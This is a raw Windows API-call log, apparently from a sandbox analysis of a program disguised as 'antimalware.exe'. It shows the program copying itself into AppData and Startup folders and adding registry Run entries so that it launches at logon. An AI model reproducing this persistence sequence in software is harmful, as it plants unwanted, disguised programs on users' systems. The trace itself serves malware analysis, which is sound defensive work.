	[0131.963] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x544cb8, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 0x8f
	[0131.963] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x554cc0
	[0131.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x564cc8
	[0131.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533078
	[0131.964] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533078, Size=0x20) returned 0x52df68
	[0131.964] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df68, Size=0x40) returned 0x507738
	[0131.964] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507738, Size=0x80) returned 0x5337a0
	[0131.964] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5337a0, Size=0x100) returned 0x533330
	[0131.964] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0131.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0131.964] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x554cc0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x67
	[0131.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564cc8 | out: hHeap=0x4f0000) returned 1
	[0131.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554cc0 | out: hHeap=0x4f0000) returned 1
	[0131.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2544020
	[0131.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533000
	[0131.967] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533000, Size=0x20) returned 0x52df68
	[0131.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533078
	[0131.967] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533078, Size=0x20) returned 0x52dfb8
	[0131.967] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0131.968] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0131.968] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0131.968] lstrlenW (lpString="kernel32.dll") returned 12
	[0131.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df68 | out: hHeap=0x4f0000) returned 1
	[0131.968] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0131.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1
	[0131.968] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0131.968] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\windows\\system32\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0131.969] CloseHandle (hObject=0x240) returned 1
	[0131.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f58
	[0131.969] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f58, Size=0x20) returned 0x52df68
	[0131.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f40
	[0131.969] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f40, Size=0x20) returned 0x52df90
	[0131.969] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0131.969] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0131.969] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0131.969] lstrlenW (lpString="kernel32.dll") returned 12
	[0131.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df90 | out: hHeap=0x4f0000) returned 1
	[0131.969] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0131.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df68 | out: hHeap=0x4f0000) returned 1
	[0131.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2544020 | out: hHeap=0x4f0000) returned 1
	[0131.971] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x554cc0
	[0131.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x564cc8
	[0131.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532fe8
	[0131.972] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532fe8, Size=0x20) returned 0x52de50
	[0131.972] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52de50, Size=0x40) returned 0x507bb8
	[0131.972] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507bb8, Size=0x80) returned 0x5337a0
	[0131.972] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5337a0, Size=0x100) returned 0x533330
	[0131.972] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0131.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0131.972] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x554cc0, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x73
	[0131.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x564cc8 | out: hHeap=0x4f0000) returned 1
	[0131.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554cc0 | out: hHeap=0x4f0000) returned 1
	[0131.973] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2545020
	[0131.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f28
	[0131.975] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f28, Size=0x20) returned 0x52e0a8
	[0131.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533090
	[0131.975] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533090, Size=0x20) returned 0x52e030
	[0131.975] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0131.976] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0131.976] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0131.976] lstrlenW (lpString="kernel32.dll") returned 12
	[0131.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e0a8 | out: hHeap=0x4f0000) returned 1
	[0131.976] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0131.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e030 | out: hHeap=0x4f0000) returned 1
	[0131.976] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0131.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0131.978] ReadFile (in: hFile=0x240, lpBuffer=0x2545020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2545020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0131.994] WriteFile (in: hFile=0x244, lpBuffer=0x2545020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2545020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0131.997] ReadFile (in: hFile=0x240, lpBuffer=0x2545020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2545020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0131.997] CloseHandle (hObject=0x244) returned 1
	[0131.997] CloseHandle (hObject=0x240) returned 1
	[0131.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532e20
	[0131.997] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532e20, Size=0x20) returned 0x52e0a8
	[0131.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533078
	[0131.997] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533078, Size=0x20) returned 0x52e0d0
	[0131.997] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0131.997] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0131.997] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0131.997] lstrlenW (lpString="kernel32.dll") returned 12
	[0131.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e0d0 | out: hHeap=0x4f0000) returned 1
	[0131.997] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0131.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e0a8 | out: hHeap=0x4f0000) returned 1
	[0131.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2545020 | out: hHeap=0x4f0000) returned 1
	[0132.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f58
	[0132.002] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f58, Size=0x20) returned 0x52df68
	[0132.002] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df68, Size=0x40) returned 0x5076f0
	[0132.002] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5076f0, Size=0x80) returned 0x555b40
	[0132.002] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 114
	[0132.002] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0132.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x533970
	[0132.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0132.002] RegSetValueExW (hKey=0x240, lpValueName="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", Reserved=0x0, dwType=0x1, lpData=0x534cb0, cbData=0xe4) returned 0x5
	[0132.003] RegCloseKey (hKey=0x240) returned 0x0
	[0132.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533970 | out: hHeap=0x4f0000) returned 1
	[0132.003] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 114
	[0132.003] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0132.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x533970
	[0132.003] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0
	[0132.004] RegSetValueExW (in: hKey=0x244, lpValueName="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", cbData=0xe4 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x0
	[0132.009] RegCloseKey (hKey=0x244) returned 0x0
	[0132.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533970 | out: hHeap=0x4f0000) returned 1
	[0132.009] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0132.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555b40 | out: hHeap=0x4f0000) returned 1
	[0132.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x555cc8
	[0132.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x565cd0
	[0132.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f28
	[0132.009] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f28, Size=0x20) returned 0x52e0a8
	[0132.009] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52e0a8, Size=0x40) returned 0x507c90
	[0132.009] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507c90, Size=0x80) returned 0x5550a0
	[0132.009] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5550a0, Size=0x100) returned 0x533330
	[0132.009] lstrlenW (lpString="") returned 0
	[0132.009] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x5337a0
	[0132.009] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0132.009] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x565cd0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x565cd0*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0132.009] RegCloseKey (hKey=0x244) returned 0x0
	[0132.009] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5337a0 | out: hHeap=0x4f0000) returned 1
	[0132.009] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.009] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x5337a0
	[0132.009] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0132.009] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x565cd0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0132.009] RegCloseKey (hKey=0x244) returned 0x0
	[0132.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5337a0 | out: hHeap=0x4f0000) returned 1
	[0132.010] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0132.010] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0132.010] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x555cc8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0xa1
	[0132.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565cd0 | out: hHeap=0x4f0000) returned 1
	[0132.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555cc8 | out: hHeap=0x4f0000) returned 1
	[0132.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2546020
	[0132.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532ef8
	[0132.013] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532ef8, Size=0x20) returned 0x52df68
	[0132.013] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533030
	[0132.013] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533030, Size=0x20) returned 0x52df90
	[0132.013] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.013] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.014] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0132.014] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df68 | out: hHeap=0x4f0000) returned 1
	[0132.014] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df90 | out: hHeap=0x4f0000) returned 1
	[0132.014] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0132.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0132.020] ReadFile (in: hFile=0x244, lpBuffer=0x2546020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2546020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0132.029] WriteFile (in: hFile=0x248, lpBuffer=0x2546020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2546020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0132.032] ReadFile (in: hFile=0x244, lpBuffer=0x2546020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2546020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0132.032] CloseHandle (hObject=0x248) returned 1
	[0132.039] CloseHandle (hObject=0x244) returned 1
	[0132.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533030
	[0132.039] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533030, Size=0x20) returned 0x52df68
	[0132.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532f58
	[0132.039] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532f58, Size=0x20) returned 0x52e0a8
	[0132.039] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.039] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.039] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0132.039] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e0a8 | out: hHeap=0x4f0000) returned 1
	[0132.039] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52df68 | out: hHeap=0x4f0000) returned 1
	[0132.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2546020 | out: hHeap=0x4f0000) returned 1
	[0132.093] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x555cc8
	[0132.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x565cd0
	[0132.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x533030
	[0132.094] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x533030, Size=0x20) returned 0x52df68
	[0132.094] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52df68, Size=0x40) returned 0x507c90
	[0132.094] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507c90, Size=0x80) returned 0x554f08
	[0132.094] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x554f08, Size=0x100) returned 0x533330
	[0132.094] lstrlenW (lpString="") returned 0
	[0132.094] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x5337a0
	[0132.094] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0132.094] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x565cd0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0132.094] RegCloseKey (hKey=0x244) returned 0x0
	[0132.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5337a0 | out: hHeap=0x4f0000) returned 1
	[0132.094] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0132.094] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0132.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x533330 | out: hHeap=0x4f0000) returned 1
	[0132.094] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe", lpDst=0x555cc8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 0x90
	[0132.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x565cd0 | out: hHeap=0x4f0000) returned 1
	[0132.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x555cc8 | out: hHeap=0x4f0000) returned 1
	[0132.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x2541020
	[0132.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532fd0
	[0132.098] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532fd0, Size=0x20) returned 0x52dfb8
	[0132.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x532ec8
	[0132.098] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532ec8, Size=0x20) returned 0x52dfe0
	[0132.098] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0132.098] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0132.098] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0132.098] lstrlenW (lpString="kernel32.dll") returned 12
	[0132.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1
	[0132.098] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0132.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfe0 | out: hHeap=0x4f0000) returned 1
	[0132.098] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
